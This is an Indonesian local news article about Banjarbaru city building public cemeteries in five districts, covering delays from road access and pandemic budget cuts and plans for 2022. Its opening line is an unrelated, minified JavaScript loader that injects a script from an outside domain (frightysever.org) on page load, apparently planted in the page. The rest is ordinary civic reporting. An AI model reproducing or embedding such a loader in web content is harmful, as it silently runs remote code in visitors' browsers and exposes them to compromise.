(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru telah memprogramkan pembangunan Tempat Permakaman Umum (TPU) yang tersebar di 5 kecamatan. Dilakukan secara bertahap, tahun ini ada tiga lokasi yang dikebut penyelesainnya.
Adapun ketiga TPU itu berlokasi di Kecamatan Cempaka, Kecamatan Banjarbaru Utara, dan Kecamatan Landasan Ulin. Ketiga lokasi ini lebih dulu diusulkan untuk dimulai pengerjaannya sejak 2020 lalu.
Kabid Pertamanan, PJU dan Permakaman Disperkim Banjarbaru, Sartono mengungkapkan, di antara ketiga TPU itu, hanya di Kecamatan Cempaka yang saat ini pembangunannya telah dinyatakan mencapai 100 persen. Bahkan, sudah dimanfaatkan masyarakat sejak beberapa bulan terakhir.
“TPU di Kecamatan Cempaka sudah selesai dan sudah bisa dimanfaatkan. Fasilitas dan akses jalannya juga sangat bagus di sana,” katanya, Selasa (23/3/2021).
Diakui Sartono pihaknya memang mengalami kendala untuk menyelesaikan dua TPU lainnya di Kecamatan Banjarbaru Utara dan Landasan Ulin.
Kendala itu sebutnya mulai dari akses jalan hingga anggaran yang harus terpangkas akibat pandemi Covid-19.
Baca juga : Pria di Amuntai Ditangkap Gara-gara Bertransaksi Narkoba dengan Polisi
“TPU Sungai Ulin di Kecamatan Banjarbaru Utara itu ada kendal pada akses jalan masuk. Kita sudah berkoordinasi dengan Dinas PUPR untuk dilakukan perbaikan. Kemudian untuk TPU Guntung Manggis di Kecamatan Landasan Ulin belum bisa kita realisasikan, karena anggaran refocusing tahun kemarin,” bebernya.
Kendati demikian, Sartono menyatakan optimis kedua TPU itu bisa dirampungkan tahun ini. Sebab terangnya baik kesiapan anggaran maupun pembebasan lahan untuk TPU tersebut sudah lebih dulu diselesaikan.
“Sebenarnya untuk TPU Sungai Ulin itu sudah bisa dimanfaatkan. Hanya askes jalannya saja yang harus diperbaiki. Selain itu kita juga sedang memproses membebaskan beberapa lahan lagi. Kita optimis ini bisa diselesaikan,” tegasnya.
Di sisi lain, Sartono juga membeberkan fakta bahwa ada situasi yang tak kalah mendesak di Kecamatan Banjarbaru Selatan. Sebab, TPU Guntung Lua yang selama ini menjadi pusat tempat peristirahatan terakhir masyarakat Banjarbaru itu dipastikan penuh pada tahun ini.
Untuk itu, Disperkim Banjarbaru kini tengah menyusun proses perencanaan pembangunan TPU di Kecamatan Banjarbaru Selatan. Dalam hal ini kabarnya akan dianggarkan pada 2022 mendatang.
“Ya, kita akan anggarkan tahun depan. Lahan yang kita gunakan rencananya memaki aset milik Pemerintah Kota (Pemko) Banjarbaru. Akan kita koordinasikan lagi,” lugasnya.
Program pembangunan TPU di 5 Kecamatan yang ada di Banjarbaru telah diwacanakan sejak lama. Pasalnya, selama ini tak ada satupun permakaman umum yang statusnya aset milik Pemko Banjarbaru.
“Dengan program ini, kita harapkan tak ada lagi pemakaman yang tersebar di pemukiman warga. Jadi tersentral hanya di TPU milik Pemko. Kita juga memberi kemudahan kepada masyarakat yang kurang mampu, agar proses pemakaman di TPU Pemerintah difasilitasi baik itu tanah maupun penggaliannya,” tuntas Sartono. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.